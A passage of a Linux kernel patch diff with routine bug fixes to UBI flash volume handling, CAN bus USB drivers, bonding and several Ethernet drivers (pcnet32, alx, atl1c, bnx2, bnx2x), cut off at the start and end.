ubi_check_volume(struct ubi_device *ubi, int vol_id) for (i = 0; i < vol->used_ebs; i++) { int size; + cond_resched(); + if (i == vol->used_ebs - 1) size = vol->last_eb_bytes; else diff --git a/drivers/mtd/ubi/upd.c b/drivers/mtd/ubi/upd.c index ec2c2dc1c1ca0..0134ba32a0578 100644 --- a/drivers/mtd/ubi/upd.c +++ b/drivers/mtd/ubi/upd.c @@ -133,6 +133,10 @@ int ubi_start_update(struct ubi_device *ubi, struct ubi_volume *vol, ubi_assert(!vol->updating && !vol->changing_leb); vol->updating = 1; + vol->upd_buf = vmalloc(ubi->leb_size); + if (!vol->upd_buf) + return -ENOMEM; + err = set_update_marker(ubi, vol); if (err) return err; @@ -152,14 +156,12 @@ int ubi_start_update(struct ubi_device *ubi, struct ubi_volume *vol, err = clear_update_marker(ubi, vol, 0); if (err) return err; + + vfree(vol->upd_buf); vol->updating = 0; return 0; } - vol->upd_buf = vmalloc(ubi->leb_size); - if (!vol->upd_buf) - return -ENOMEM; - vol->upd_ebs = div_u64(bytes + vol->usable_leb_size - 1, vol->usable_leb_size); vol->upd_bytes = bytes; @@ -191,7 +193,7 @@ int ubi_start_leb_change(struct ubi_device *ubi, struct ubi_volume *vol, vol->changing_leb = 1; vol->ch_lnum = req->lnum; - vol->upd_buf = vmalloc(req->bytes); + vol->upd_buf = vmalloc(ALIGN((int)req->bytes, ubi->min_io_size)); if (!vol->upd_buf) return -ENOMEM; diff --git a/drivers/mtd/ubi/vmt.c b/drivers/mtd/ubi/vmt.c index 6f1b996e75b29..9e5c108b9db7e 100644 --- a/drivers/mtd/ubi/vmt.c +++ b/drivers/mtd/ubi/vmt.c @@ -539,13 +539,6 @@ int ubi_resize_volume(struct ubi_volume_desc *desc, int reserved_pebs) spin_unlock(&ubi->volumes_lock); } - /* Change volume table record */ - vtbl_rec = ubi->vtbl[vol_id]; - vtbl_rec.reserved_pebs = cpu_to_be32(reserved_pebs); - err = ubi_change_vtbl_record(ubi, vol_id, &vtbl_rec); - if (err) - goto out_acc; - if (pebs < 0) { for (i = 0; i < -pebs; i++) { err = ubi_eba_unmap_leb(ubi, vol, reserved_pebs + i); @@ -563,6 +556,24 @@ int ubi_resize_volume(struct ubi_volume_desc *desc, int reserved_pebs) spin_unlock(&ubi->volumes_lock); } + /* + * When we shrink a volume we have to flush all pending (erase) work. + * Otherwise it can happen that upon next attach UBI finds a LEB with + * lnum > highest_lnum and refuses to attach. + */ + if (pebs < 0) { + err = ubi_wl_flush(ubi, vol_id, UBI_ALL); + if (err) + goto out_acc; + } + + /* Change volume table record */ + vtbl_rec = ubi->vtbl[vol_id]; + vtbl_rec.reserved_pebs = cpu_to_be32(reserved_pebs); + err = ubi_change_vtbl_record(ubi, vol_id, &vtbl_rec); + if (err) + goto out_acc; + vol->reserved_pebs = reserved_pebs; if (vol->vol_type == UBI_DYNAMIC_VOLUME) { vol->used_ebs = reserved_pebs; diff --git a/drivers/mtd/ubi/vtbl.c b/drivers/mtd/ubi/vtbl.c index 04b494fb908d4..bf020c8342d04 100644 --- a/drivers/mtd/ubi/vtbl.c +++ b/drivers/mtd/ubi/vtbl.c @@ -657,6 +657,7 @@ static int init_volumes(struct ubi_device *ubi, if (ubi->corr_peb_count) ubi_err(ubi->ubi_num, "%d PEBs are corrupted and not used", ubi->corr_peb_count); + return -ENOSPC; } ubi->rsvd_pebs += reserved_pebs; ubi->avail_pebs -= reserved_pebs; diff --git a/drivers/mtd/ubi/wl.c b/drivers/mtd/ubi/wl.c index efea851f8f7e6..53d2d127b6efb 100644 --- a/drivers/mtd/ubi/wl.c +++ b/drivers/mtd/ubi/wl.c @@ -1198,7 +1198,7 @@ static int wear_leveling_worker(struct ubi_device *ubi, struct ubi_work *wrk, int cancel) { int err, scrubbing = 0, torture = 0, protect = 0, erroneous = 0; - int vol_id = -1, uninitialized_var(lnum); + int vol_id = -1, lnum = -1; #ifdef CONFIG_MTD_UBI_FASTMAP int anchor = wrk->anchor; #endif @@ -1412,7 +1412,6 @@ static int wear_leveling_worker(struct ubi_device *ubi, struct ubi_work *wrk, err = do_sync_erase(ubi, e1, vol_id, lnum, 0); if (err) { - kmem_cache_free(ubi_wl_entry_slab, e1); if (e2) kmem_cache_free(ubi_wl_entry_slab, e2); goto out_ro; @@ -1426,10 +1425,8 @@ static int wear_leveling_worker(struct ubi_device *ubi, struct ubi_work *wrk, dbg_wl("PEB %d (LEB %d:%d) was put meanwhile, erase", e2->pnum, vol_id, lnum); err = do_sync_erase(ubi, e2, vol_id, lnum, 0); - if (err) { - kmem_cache_free(ubi_wl_entry_slab, e2); + if (err) goto out_ro; - } } dbg_wl("done"); @@ -1465,10 +1462,9 @@ static int wear_leveling_worker(struct ubi_device *ubi, struct ubi_work *wrk, ubi_free_vid_hdr(ubi, vid_hdr); err = do_sync_erase(ubi, e2, vol_id, lnum, torture); - if (err) { - kmem_cache_free(ubi_wl_entry_slab, e2); + if (err) goto out_ro; - } + mutex_unlock(&ubi->move_mutex); return 0; @@ -2292,6 +2288,7 @@ int ubi_wl_init(struct ubi_device *ubi, struct ubi_attach_info *ai) ubi_err(ubi->ubi_num, "%d PEBs are corrupted and not used", ubi->corr_peb_count); + err = -ENOSPC; goto out_free; } ubi->avail_pebs -= reserved_pebs; diff --git a/drivers/net/Kconfig b/drivers/net/Kconfig index 799ffe2910fc2..2df6393e3ed96 100644 --- a/drivers/net/Kconfig +++ b/drivers/net/Kconfig @@ -139,6 +139,7 @@ config MACVLAN config MACVTAP tristate "MAC-VLAN based tap driver" depends on MACVLAN + depends on INET help This adds a specialized tap character device driver that is based on the MAC-VLAN network interface, called macvtap. A macvtap device @@ -209,6 +210,7 @@ config RIONET_RX_SIZE config TUN tristate "Universal TUN/TAP device driver support" + depends on INET select CRC32 ---help--- TUN/TAP provides packet reception and transmission for user space diff --git a/drivers/net/bonding/bond_main.c b/drivers/net/bonding/bond_main.c index b143ce91e0811..c0ed7c8028193 100644 --- a/drivers/net/bonding/bond_main.c +++ b/drivers/net/bonding/bond_main.c @@ -876,6 +876,23 @@ static void bond_mc_swap(struct bonding *bond, struct slave *new_active, } } +static struct slave *bond_get_old_active(struct bonding *bond, + struct slave *new_active) +{ + struct slave *slave; + int i; + + bond_for_each_slave(bond, slave, i) { + if (slave == new_active) + continue; + + if (ether_addr_equal(bond->dev->dev_addr, slave->dev->dev_addr)) + return slave; + } + + return NULL; +} + /* * bond_do_fail_over_mac * @@ -919,6 +936,9 @@ static void bond_do_fail_over_mac(struct bonding *bond, write_unlock_bh(&bond->curr_slave_lock); read_unlock(&bond->lock); + if (!old_active) + old_active = bond_get_old_active(bond, new_active); + if (old_active) { memcpy(tmp_mac, new_active->dev->dev_addr, ETH_ALEN); memcpy(saddr.sa_data, old_active->dev->dev_addr, @@ -2188,6 +2208,7 @@ static int bond_release_and_destroy(struct net_device *bond_dev, bond_dev->priv_flags |= IFF_DISABLE_NETPOLL; pr_info("%s: destroying bond %s.\n", bond_dev->name, bond_dev->name); + bond_remove_proc_entry(bond); unregister_netdevice(bond_dev); } return ret; diff --git a/drivers/net/can/at91_can.c b/drivers/net/can/at91_can.c index 535d5dd8d8168..024078c5fb165 100644 --- a/drivers/net/can/at91_can.c +++ b/drivers/net/can/at91_can.c @@ -731,9 +731,10 @@ static int at91_poll_rx(struct net_device *dev, int quota) /* upper group completed, look again in lower */ if (priv->rx_next > get_mb_rx_low_last(priv) && - quota > 0 && mb > get_mb_rx_last(priv)) { + mb > get_mb_rx_last(priv)) { priv->rx_next = get_mb_rx_first(priv); - goto again; + if (quota > 0) + goto again; } return received; diff --git a/drivers/net/can/dev.c b/drivers/net/can/dev.c index 539239d8e9ab1..464e5f66b66d1 100644 --- a/drivers/net/can/dev.c +++ b/drivers/net/can/dev.c @@ -385,7 +385,7 @@ void can_free_echo_skb(struct net_device *dev, unsigned int idx) BUG_ON(idx >= priv->echo_skb_max); if (priv->echo_skb[idx]) { - kfree_skb(priv->echo_skb[idx]); + dev_kfree_skb_any(priv->echo_skb[idx]); priv->echo_skb[idx] = NULL; } } @@ -503,6 +503,14 @@ struct sk_buff *alloc_can_skb(struct net_device *dev, struct can_frame **cf) skb->pkt_type = PACKET_BROADCAST; skb->ip_summed = CHECKSUM_UNNECESSARY; + skb_reset_mac_header(skb); + skb_reset_network_header(skb); + skb_reset_transport_header(skb); + + skb_reset_mac_header(skb); + skb_reset_network_header(skb); + skb_reset_transport_header(skb); + can_skb_reserve(skb); can_skb_prv(skb)->ifindex = dev->ifindex; @@ -643,10 +651,14 @@ static int can_changelink(struct net_device *dev, if (dev->flags & IFF_UP) return -EBUSY; cm = nla_data(data[IFLA_CAN_CTRLMODE]); - if (cm->flags & ~priv->ctrlmode_supported) + + /* check whether changed bits are allowed to be modified */ + if (cm->mask & ~priv->ctrlmode_supported) return -EOPNOTSUPP; + + /* clear bits to be modified and copy the flag values */ priv->ctrlmode &= ~cm->mask; - priv->ctrlmode |= cm->flags; + priv->ctrlmode |= (cm->flags & cm->mask); } if (data[IFLA_CAN_BITTIMING]) { @@ -760,6 +772,11 @@ static int can_newlink(struct net *src_net, struct net_device *dev, return -EOPNOTSUPP; } +static void can_dellink(struct net_device *dev, struct list_head *head) +{ + return; +} + static struct rtnl_link_ops can_link_ops __read_mostly = { .kind = "can", .maxtype = IFLA_CAN_MAX, @@ -767,6 +784,7 @@ static struct rtnl_link_ops can_link_ops __read_mostly = { .setup = can_setup, .newlink = can_newlink, .changelink = can_changelink, + .dellink = can_dellink, .get_size = can_get_size, .fill_info = can_fill_info, .get_xstats_size = can_get_xstats_size, diff --git a/drivers/net/can/sja1000/sja1000.c b/drivers/net/can/sja1000/sja1000.c index f17c3018b7c7f..732a8ed571c28 100644 --- a/drivers/net/can/sja1000/sja1000.c +++ b/drivers/net/can/sja1000/sja1000.c @@ -184,6 +184,12 @@ static void sja1000_start(struct net_device *dev) priv->write_reg(priv, SJA1000_RXERR, 0x0); priv->read_reg(priv, SJA1000_ECC); + /* clear interrupt flags */ + priv->read_reg(priv, SJA1000_IR); + + /* clear interrupt flags */ + priv->read_reg(priv, SJA1000_IR); + /* leave reset mode */ set_normal_mode(dev); } diff --git a/drivers/net/can/usb/ems_usb.c b/drivers/net/can/usb/ems_usb.c index 5f9a7ad9b964d..d921416295ceb 100644 --- a/drivers/net/can/usb/ems_usb.c +++ b/drivers/net/can/usb/ems_usb.c @@ -118,6 +118,9 @@ MODULE_LICENSE("GPL v2"); */ #define EMS_USB_ARM7_CLOCK 8000000 +#define CPC_TX_QUEUE_TRIGGER_LOW 25 +#define CPC_TX_QUEUE_TRIGGER_HIGH 35 + /* * CAN-Message representation in a CPC_MSG. Message object type is * CPC_MSG_TYPE_CAN_FRAME or CPC_MSG_TYPE_RTR_FRAME or @@ -279,6 +282,11 @@ static void ems_usb_read_interrupt_callback(struct urb *urb) switch (urb->status) { case 0: dev->free_slots = dev->intr_in_buffer[1]; + if(dev->free_slots > CPC_TX_QUEUE_TRIGGER_HIGH){ + if (netif_queue_stopped(netdev)){ + netif_wake_queue(netdev); + } + } break; case -ECONNRESET: /* unlink */ @@ -530,8 +538,6 @@ static void ems_usb_write_bulk_callback(struct urb *urb) /* Release context */ context->echo_index = MAX_TX_URBS; - if (netif_queue_stopped(netdev)) - netif_wake_queue(netdev); } /* @@ -591,7 +597,7 @@ static int ems_usb_start(struct ems_usb *dev) int err, i; dev->intr_in_buffer[0] = 0; - dev->free_slots = 15; /* initial size */ + dev->free_slots = 50; /* initial size */ for (i = 0; i < MAX_RX_URBS; i++) { struct urb *urb = NULL; @@ -841,7 +847,7 @@ static netdev_tx_t ems_usb_start_xmit(struct sk_buff *skb, struct net_device *ne /* Slow down tx path */ if (atomic_read(&dev->active_tx_urbs) >= MAX_TX_URBS || - dev->free_slots < 5) { + dev->free_slots < CPC_TX_QUEUE_TRIGGER_LOW) { netif_stop_queue(netdev); } } diff --git a/drivers/net/can/usb/esd_usb2.c b/drivers/net/can/usb/esd_usb2.c index 6aa7b3266c809..d5455c7606187 100644 --- a/drivers/net/can/usb/esd_usb2.c +++ b/drivers/net/can/usb/esd_usb2.c @@ -1132,6 +1132,7 @@ static void esd_usb2_disconnect(struct usb_interface *intf) } } unlink_all_urbs(dev); + kfree(dev); } } diff --git a/drivers/net/can/usb/kvaser_usb.c b/drivers/net/can/usb/kvaser_usb.c index cc3df8aebb873..a3fb8b51038a1 100644 --- a/drivers/net/can/usb/kvaser_usb.c +++ b/drivers/net/can/usb/kvaser_usb.c @@ -579,7 +579,7 @@ static int kvaser_usb_simple_msg_async(struct kvaser_usb_net_priv *priv, usb_sndbulkpipe(dev->udev, dev->bulk_out->bEndpointAddress), buf, msg->len, - kvaser_usb_simple_msg_callback, priv); + kvaser_usb_simple_msg_callback, netdev); usb_anchor_urb(urb, &priv->tx_submitted); err = usb_submit_urb(urb, GFP_ATOMIC); @@ -654,11 +654,6 @@ static void kvaser_usb_rx_error(const struct kvaser_usb *dev, priv = dev->nets[channel]; stats = &priv->netdev->stats; - if (status & M16C_STATE_BUS_RESET) { - kvaser_usb_unlink_tx_urbs(priv); - return; - } - skb = alloc_can_err_skb(priv->netdev, &cf); if (!skb) { stats->rx_dropped++; @@ -669,7 +664,7 @@ static void kvaser_usb_rx_error(const struct kvaser_usb *dev, netdev_dbg(priv->netdev, "Error status: 0x%02x\n", status); - if (status & M16C_STATE_BUS_OFF) { + if (status & (M16C_STATE_BUS_OFF | M16C_STATE_BUS_RESET)) { cf->can_id |= CAN_ERR_BUSOFF; priv->can.can_stats.bus_off++; @@ -695,9 +690,7 @@ static void kvaser_usb_rx_error(const struct kvaser_usb *dev, } new_state = CAN_STATE_ERROR_PASSIVE; - } - - if (status == M16C_STATE_BUS_ERROR) { + } else if (status & M16C_STATE_BUS_ERROR) { if ((priv->can.state < CAN_STATE_ERROR_WARNING) && ((txerr >= 96) || (rxerr >= 96))) { cf->can_id |= CAN_ERR_CRTL; @@ -707,7 +700,8 @@ static void kvaser_usb_rx_error(const struct kvaser_usb *dev, priv->can.can_stats.error_warning++; new_state = CAN_STATE_ERROR_WARNING; - } else if (priv->can.state > CAN_STATE_ERROR_ACTIVE) { + } else if ((priv->can.state > CAN_STATE_ERROR_ACTIVE) && + ((txerr < 96) && (rxerr < 96))) { cf->can_id |= CAN_ERR_PROT; cf->data[2] = CAN_ERR_PROT_ACTIVE; @@ -1238,6 +1232,9 @@ static int kvaser_usb_close(struct net_device *netdev) if (err) netdev_warn(netdev, "Cannot stop device, error %d\n", err); + /* reset tx contexts */ + kvaser_usb_unlink_tx_urbs(priv); + priv->can.state = CAN_STATE_STOPPED; close_candev(priv->netdev); @@ -1286,12 +1283,14 @@ static netdev_tx_t kvaser_usb_start_xmit(struct sk_buff *skb, if (!urb) { netdev_err(netdev, "No memory left for URBs\n"); stats->tx_dropped++; - goto nourbmem; + dev_kfree_skb(skb); + return NETDEV_TX_OK; } buf = kmalloc(sizeof(struct kvaser_msg), GFP_ATOMIC); if (!buf) { stats->tx_dropped++; + dev_kfree_skb(skb); goto nobufmem; } @@ -1326,6 +1325,7 @@ static netdev_tx_t kvaser_usb_start_xmit(struct sk_buff *skb, } } + /* This should never happen; it implies a flow control bug */ if (!context) { netdev_warn(netdev, "cannot find free context\n"); ret = NETDEV_TX_BUSY; @@ -1356,9 +1356,6 @@ static netdev_tx_t kvaser_usb_start_xmit(struct sk_buff *skb, if (unlikely(err)) { can_free_echo_skb(netdev, context->echo_index); - skb = NULL; /* set to NULL to avoid double free in - * dev_kfree_skb(skb) */ - atomic_dec(&priv->active_tx_urbs); usb_unanchor_urb(urb); @@ -1380,8 +1377,6 @@ static netdev_tx_t kvaser_usb_start_xmit(struct sk_buff *skb, kfree(buf); nobufmem: usb_free_urb(urb); -nourbmem: - dev_kfree_skb(skb); return ret; } @@ -1493,6 +1488,10 @@ static int kvaser_usb_init_one(struct usb_interface *intf, struct kvaser_usb_net_priv *priv; int i, err; + err = kvaser_usb_send_simple_msg(dev, CMD_RESET_CHIP, channel); + if (err) + return err; + netdev = alloc_candev(sizeof(*priv), MAX_TX_URBS); if (!netdev) { dev_err(&intf->dev, "Cannot alloc candev\n"); @@ -1578,7 +1577,7 @@ static int kvaser_usb_probe(struct usb_interface *intf, { struct kvaser_usb *dev; int err = -ENOMEM; - int i; + int i, retry = 3; dev = devm_kzalloc(&intf->dev, sizeof(*dev), GFP_KERNEL); if (!dev) @@ -1596,10 +1595,15 @@ static int kvaser_usb_probe(struct usb_interface *intf, usb_set_intfdata(intf, dev); - for (i = 0; i < MAX_NET_DEVICES; i++) - kvaser_usb_send_simple_msg(dev, CMD_RESET_CHIP, i); + /* On some x86 laptops, plugging a Kvaser device again after + * an unplug makes the firmware always ignore the very first + * command. For such a case, provide some room for retries + * instead of completely exiting the driver. + */ + do { + err = kvaser_usb_get_software_info(dev); + } while (--retry && err == -ETIMEDOUT); - err = kvaser_usb_get_software_info(dev); if (err) { dev_err(&intf->dev, "Cannot get software infos, error %d\n", err); diff --git a/drivers/net/can/usb/peak_usb/pcan_usb_core.c b/drivers/net/can/usb/peak_usb/pcan_usb_core.c index a0f647f92bf55..3a220d2f2ee1b 100644 --- a/drivers/net/can/usb/peak_usb/pcan_usb_core.c +++ b/drivers/net/can/usb/peak_usb/pcan_usb_core.c @@ -727,7 +727,7 @@ static int peak_usb_create_dev(struct peak_usb_adapter *peak_usb_adapter, dev->cmd_buf = kmalloc(PCAN_USB_MAX_CMD_LEN, GFP_KERNEL); if (!dev->cmd_buf) { err = -ENOMEM; - goto lbl_set_intf_data; + goto lbl_free_candev; } dev->udev = usb_dev; @@ -766,7 +766,7 @@ static int peak_usb_create_dev(struct peak_usb_adapter *peak_usb_adapter, err = register_candev(netdev); if (err) { dev_err(&intf->dev, "couldn't register CAN device: %d\n", err); - goto lbl_free_cmd_buf; + goto lbl_restore_intf_data; } if (dev->prev_siblings) @@ -779,14 +779,14 @@ static int peak_usb_create_dev(struct peak_usb_adapter *peak_usb_adapter, if (dev->adapter->dev_init) { err = dev->adapter->dev_init(dev); if (err) - goto lbl_free_cmd_buf; + goto lbl_unregister_candev; } /* set bus off */ if (dev->adapter->dev_set_bus) { err = dev->adapter->dev_set_bus(dev, 0); if (err) - goto lbl_free_cmd_buf; + goto lbl_unregister_candev; } /* get device number early */ @@ -798,11 +798,14 @@ static int peak_usb_create_dev(struct peak_usb_adapter *peak_usb_adapter, return 0; -lbl_free_cmd_buf: - kfree(dev->cmd_buf); +lbl_unregister_candev: + unregister_candev(netdev); -lbl_set_intf_data: +lbl_restore_intf_data: usb_set_intfdata(intf, dev->prev_siblings); + kfree(dev->cmd_buf); + +lbl_free_candev: free_candev(netdev); return err; diff --git a/drivers/net/can/usb/peak_usb/pcan_usb_pro.c b/drivers/net/can/usb/peak_usb/pcan_usb_pro.c index 263dd921edc42..f7f796a2c50bc 100644 --- a/drivers/net/can/usb/peak_usb/pcan_usb_pro.c +++ b/drivers/net/can/usb/peak_usb/pcan_usb_pro.c @@ -333,8 +333,6 @@ static int pcan_usb_pro_send_req(struct peak_usb_device *dev, int req_id, if (!(dev->state & PCAN_USB_STATE_CONNECTED)) return 0; - memset(req_addr, '\0', req_size); - req_type = USB_TYPE_VENDOR | USB_RECIP_OTHER; switch (req_id) { @@ -345,6 +343,7 @@ static int pcan_usb_pro_send_req(struct peak_usb_device *dev, int req_id, default: p = usb_rcvctrlpipe(dev->udev, 0); req_type |= USB_DIR_IN; + memset(req_addr, '\0', req_size); break; } diff --git a/drivers/net/ethernet/amd/pcnet32.c b/drivers/net/ethernet/amd/pcnet32.c index ed21307276430..f6415fda103b4 100644 --- a/drivers/net/ethernet/amd/pcnet32.c +++ b/drivers/net/ethernet/amd/pcnet32.c @@ -1516,7 +1516,7 @@ pcnet32_probe1(unsigned long ioaddr, int shared, struct pci_dev *pdev) { struct pcnet32_private *lp; int i, media; - int fdx, mii, fset, dxsuflo; + int fdx, mii, fset, dxsuflo, sram; int chip_version; char *chipname; struct net_device *dev; @@ -1553,7 +1553,7 @@ pcnet32_probe1(unsigned long ioaddr, int shared, struct pci_dev *pdev) } /* initialize variables */ - fdx = mii = fset = dxsuflo = 0; + fdx = mii = fset = dxsuflo = sram = 0; chip_version = (chip_version >> 12) & 0xffff; switch (chip_version) { @@ -1586,6 +1586,7 @@ pcnet32_probe1(unsigned long ioaddr, int shared, struct pci_dev *pdev) chipname = "PCnet/FAST III 79C973"; /* PCI */ fdx = 1; mii = 1; + sram = 1; break; case 0x2626: chipname = "PCnet/Home 79C978"; /* PCI */ @@ -1609,6 +1610,7 @@ pcnet32_probe1(unsigned long ioaddr, int shared, struct pci_dev *pdev) chipname = "PCnet/FAST III 79C975"; /* PCI */ fdx = 1; mii = 1; + sram = 1; break; case 0x2628: chipname = "PCnet/PRO 79C976"; @@ -1637,6 +1639,31 @@ pcnet32_probe1(unsigned long ioaddr, int shared, struct pci_dev *pdev) dxsuflo = 1; } + /* + * The Am79C973/Am79C975 controllers come with 12K of SRAM + * which we can use for the Tx/Rx buffers but most importantly, + * the use of SRAM allow us to use the BCR18:NOUFLO bit to avoid + * Tx fifo underflows. + */ + if (sram) { + /* + * The SRAM is being configured in two steps. First we + * set the SRAM size in the BCR25:SRAM_SIZE bits. According + * to the datasheet, each bit corresponds to a 512-byte + * page so we can have at most 24 pages. The SRAM_SIZE + * holds the value of the upper 8 bits of the 16-bit SRAM size. + * The low 8-bits start at 0x00 and end at 0xff. So the + * address range is from 0x0000 up to 0x17ff. Therefore, + * the SRAM_SIZE is set to 0x17. The next step is to set + * the BCR26:SRAM_BND midway through so the Tx and Rx + * buffers can share the SRAM equally. + */ + a->write_bcr(ioaddr, 25, 0x17); + a->write_bcr(ioaddr, 26, 0xc); + /* And finally enable the NOUFLO bit */ + a->write_bcr(ioaddr, 18, a->read_bcr(ioaddr, 18) | (1 << 11)); + } + dev = alloc_etherdev(sizeof(*lp)); if (!dev) { ret = -ENOMEM; diff --git a/drivers/net/ethernet/atheros/alx/main.c b/drivers/net/ethernet/atheros/alx/main.c index d30085c2b4549..7357e54f1de92 100644 --- a/drivers/net/ethernet/atheros/alx/main.c +++ b/drivers/net/ethernet/atheros/alx/main.c @@ -86,9 +86,14 @@ static int alx_refill_rx_ring(struct alx_priv *alx, gfp_t gfp) while (!cur_buf->skb && next != rxq->read_idx) { struct alx_rfd *rfd = &rxq->rfd[cur]; - skb = __netdev_alloc_skb(alx->dev, alx->rxbuf_size, gfp); + skb = __netdev_alloc_skb(alx->dev, alx->rxbuf_size + 64, gfp); if (!skb) break; + + /* Workround for the HW RX DMA overflow issue */ + if (((unsigned long)skb->data & 0xfff) == 0xfc0) + skb_reserve(skb, 64); + dma = dma_map_single(&alx->hw.pdev->dev, skb->data, alx->rxbuf_size, DMA_FROM_DEVICE); @@ -184,15 +189,16 @@ static void alx_schedule_reset(struct alx_priv *alx) schedule_work(&alx->reset_wk); } -static bool alx_clean_rx_irq(struct alx_priv *alx, int budget) +static int alx_clean_rx_irq(struct alx_priv *alx, int budget) { struct alx_rx_queue *rxq = &alx->rxq; struct alx_rrd *rrd; struct alx_buffer *rxb; struct sk_buff *skb; u16 length, rfd_cleaned = 0; + int work = 0; - while (budget > 0) { + while (work < budget) { rrd = &rxq->rrd[rxq->rrd_read_idx]; if (!(rrd->word3 & cpu_to_le32(1 << RRD_UPDATED_SHIFT))) break; @@ -203,7 +209,7 @@ static bool alx_clean_rx_irq(struct alx_priv *alx, int budget) ALX_GET_FIELD(le32_to_cpu(rrd->word0), RRD_NOR) != 1) { alx_schedule_reset(alx); - return 0; + return work; } rxb = &rxq->bufs[rxq->read_idx]; @@ -243,7 +249,7 @@ static bool alx_clean_rx_irq(struct alx_priv *alx, int budget) } napi_gro_receive(&alx->napi, skb); - budget--; + work++; next_pkt: if (++rxq->read_idx == alx->rx_ringsz) @@ -258,21 +264,22 @@ static bool alx_clean_rx_irq(struct alx_priv *alx, int budget) if (rfd_cleaned) alx_refill_rx_ring(alx, GFP_ATOMIC); - return budget > 0; + return work; } static int alx_poll(struct napi_struct *napi, int budget) { struct alx_priv *alx = container_of(napi, struct alx_priv, napi); struct alx_hw *hw = &alx->hw; - bool complete = true; unsigned long flags; + bool tx_complete; + int work; - complete = alx_clean_tx_irq(alx) && - alx_clean_rx_irq(alx, budget); + tx_complete = alx_clean_tx_irq(alx); + work = alx_clean_rx_irq(alx, budget); - if (!complete) - return 1; + if (!tx_complete || work == budget) + return budget; napi_complete(&alx->napi); @@ -284,7 +291,7 @@ static int alx_poll(struct napi_struct *napi, int budget) alx_post_write(hw); - return 0; + return work; } static irqreturn_t alx_intr_handle(struct alx_priv *alx, u32 intr) diff --git a/drivers/net/ethernet/atheros/atl1c/atl1c_main.c b/drivers/net/ethernet/atheros/atl1c/atl1c_main.c index 11cdf1d430414..297c3e5ec3f3d 100644 --- a/drivers/net/ethernet/atheros/atl1c/atl1c_main.c +++ b/drivers/net/ethernet/atheros/atl1c/atl1c_main.c @@ -1016,13 +1016,12 @@ static int atl1c_setup_ring_resources(struct atl1c_adapter *adapter) sizeof(struct atl1c_recv_ret_status) * rx_desc_count + 8 * 4; - ring_header->desc = pci_alloc_consistent(pdev, ring_header->size, - &ring_header->dma); + ring_header->desc = dma_zalloc_coherent(&pdev->dev, ring_header->size, + &ring_header->dma, GFP_KERNEL); if (unlikely(!ring_header->desc)) { - dev_err(&pdev->dev, "pci_alloc_consistend failed\n"); + dev_err(&pdev->dev, "could not get memory for DMA buffer\n"); goto err_nomem; } - memset(ring_header->desc, 0, ring_header->size); /* init TPD ring */ tpd_ring[0].dma = roundup(ring_header->dma, 8); diff --git a/drivers/net/ethernet/atheros/atlx/atl2.c b/drivers/net/ethernet/atheros/atlx/atl2.c index 265ce1b752ed0..96fe542b4acb5 100644 --- a/drivers/net/ethernet/atheros/atlx/atl2.c +++ b/drivers/net/ethernet/atheros/atlx/atl2.c @@ -1413,7 +1413,7 @@ static int atl2_probe(struct pci_dev *pdev, const struct pci_device_id *ent) err = -EIO; - netdev->hw_features = NETIF_F_SG | NETIF_F_HW_VLAN_CTAG_RX; + netdev->hw_features = NETIF_F_HW_VLAN_CTAG_RX; netdev->features |= (NETIF_F_HW_VLAN_CTAG_TX | NETIF_F_HW_VLAN_CTAG_RX); /* Init PHY as early as possible due to power saving issue */ diff --git a/drivers/net/ethernet/broadcom/bnx2.c b/drivers/net/ethernet/broadcom/bnx2.c index 5d204492c603a..161dcba13c479 100644 --- a/drivers/net/ethernet/broadcom/bnx2.c +++ b/drivers/net/ethernet/broadcom/bnx2.c @@ -2869,7 +2869,7 @@ bnx2_tx_int(struct bnx2 *bp, struct bnx2_napi *bnapi, int budget) sw_cons = BNX2_NEXT_TX_BD(sw_cons); tx_bytes += skb->len; - dev_kfree_skb(skb); + dev_kfree_skb_any(skb); tx_pkt++; if (tx_pkt == budget) break; @@ -6610,7 +6610,7 @@ bnx2_start_xmit(struct sk_buff *skb, struct net_device *dev) mapping = dma_map_single(&bp->pdev->dev, skb->data, len, PCI_DMA_TODEVICE); if (dma_mapping_error(&bp->pdev->dev, mapping)) { - dev_kfree_skb(skb); + dev_kfree_skb_any(skb); return NETDEV_TX_OK; } @@ -6703,7 +6703,7 @@ bnx2_start_xmit(struct sk_buff *skb, struct net_device *dev) PCI_DMA_TODEVICE); } - dev_kfree_skb(skb); + dev_kfree_skb_any(skb); return NETDEV_TX_OK; } diff --git a/drivers/net/ethernet/broadcom/bnx2x/bnx2x.h b/drivers/net/ethernet/broadcom/bnx2x/bnx2x.h index 3dba2a70a00e4..ec86177be1df7 100644 --- a/drivers/net/ethernet/broadcom/bnx2x/bnx2x.h +++ b/drivers/net/ethernet/broadcom/bnx2x/bnx2x.h @@ -312,6 +312,7 @@ struct sw_tx_bd { u8 flags; /* Set on the first BD descriptor when there is a split BD */ #define BNX2X_TSO_SPLIT_BD (1<<0) +#define BNX2X_HAS_SECOND_PBD (1<<1) }; struct sw_rx_page { diff --git a/drivers/net/ethernet/broadcom/bnx2x/bnx2x_cmn.c b/drivers/net/ethernet/broadcom/bnx2x/bnx2x_cmn.c index 7d8ca2e368457..9e64d09d45c40 100644 --- a/drivers/net/ethernet/broadcom/bnx2x/bnx2x_cmn.c +++ b/drivers/net/ethernet/broadcom/bnx2x/bnx2x_cmn.c @@ -180,6 +180,12 @@ static u16 bnx2x_free_tx_pkt(struct bnx2x *bp, struct bnx2x_fp_txdata *txdata, --nbd; bd_idx = TX_BD(NEXT_TX_IDX(bd_idx)); + if (tx_buf->flags & BNX2X_HAS_SECOND_PBD) { + /* Skip second parse bd... */ + --nbd; + bd_idx = TX_BD(NEXT_TX_IDX(bd_idx)); + } + /* TSO headers+data bds share a common mapping. See bnx2x_tx_split() */ if (tx_buf->flags & BNX2X_TSO_SPLIT_BD) { tx_data_bd = &txdata->tx_desc_ring[bd_idx].reg_bd; @@ -745,7 +751,8 @@ static void bnx2x_tpa_stop(struct bnx2x *bp, struct bnx2x_fastpath *fp, return; } - bnx2x_frag_free(fp, new_data); + if (new_data) + bnx2x_frag_free(fp, new_data); drop: /* drop the packet and keep the buffer in the bin */ DP(NETIF_MSG_RX_STATUS, @@ -3754,6 +3761,9 @@ netdev_tx_t bnx2x_start_xmit(struct sk_buff *skb, struct net_device *dev) /* set encapsulation flag in start BD */ SET_FLAG(tx_start_bd->general_data, ETH_TX_START_BD_TUNNEL_EXIST, 1); + + tx_buf->flags |= BNX2X_HAS_SECOND_PBD; + nbd++; } else if (xmit_type & XMIT_CSUM) { /* Set PBD in checksum offload case w/o encapsulation */ diff --git a/drivers/net/ethernet/broadcom/tg3.c b/drivers/net/ethernet/broadcom/tg3.c index 